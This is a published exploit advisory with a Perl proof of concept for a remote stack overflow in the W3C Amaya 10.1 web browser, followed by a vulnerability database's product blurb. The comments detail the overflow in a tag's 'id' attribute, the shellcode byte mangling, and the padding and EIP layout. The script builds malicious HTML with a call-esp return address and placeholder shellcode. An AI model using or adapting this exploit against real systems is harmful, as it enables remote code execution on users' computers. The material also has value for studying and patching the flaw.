`# W3C Amaya 10.1 Web Browser
#
# Amaya (id) Remote Stack Overflow Vulnerability
#
# Written and discovered by:
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# Advisory: http://www.bmgsec.com.au/advisory/41/
# ------------------------------------------------------
#
# Shellcode notes:
# The application fails to correctly process certain bytes:
# 0x9c becomes 0x9cc2
# Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).
#
# After reviewing the source code, the below function modifies the
# shellcode:
# Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
#
# The max value which can be used is 0x1fffff <-- Thanks Luigi!
# ------------------------------------------------------
#
# The "id" variable of a tag contains a buffer overflow:
# <div id=" 93*'A/' ">r0ut3r</div>
#
# The application will not overflow with normal alphanumeric characters.
# To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is:
# 91 * 2 = 182 + 4
#
# [junk] + [eip] + [shellcode]
# 182 + 4 + sizeof(shellcode)
#
# ESP points to data after EIP.
#
# "id" variable Proof of concept:
#!/usr/bin/perl
use warnings;
use strict;
my $shellcode = 'C' x 350;
# 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp)
my $data = '<div id="' .
'A/' x 91 .
"\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
$shellcode .
'">test</div>';
print $data;
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation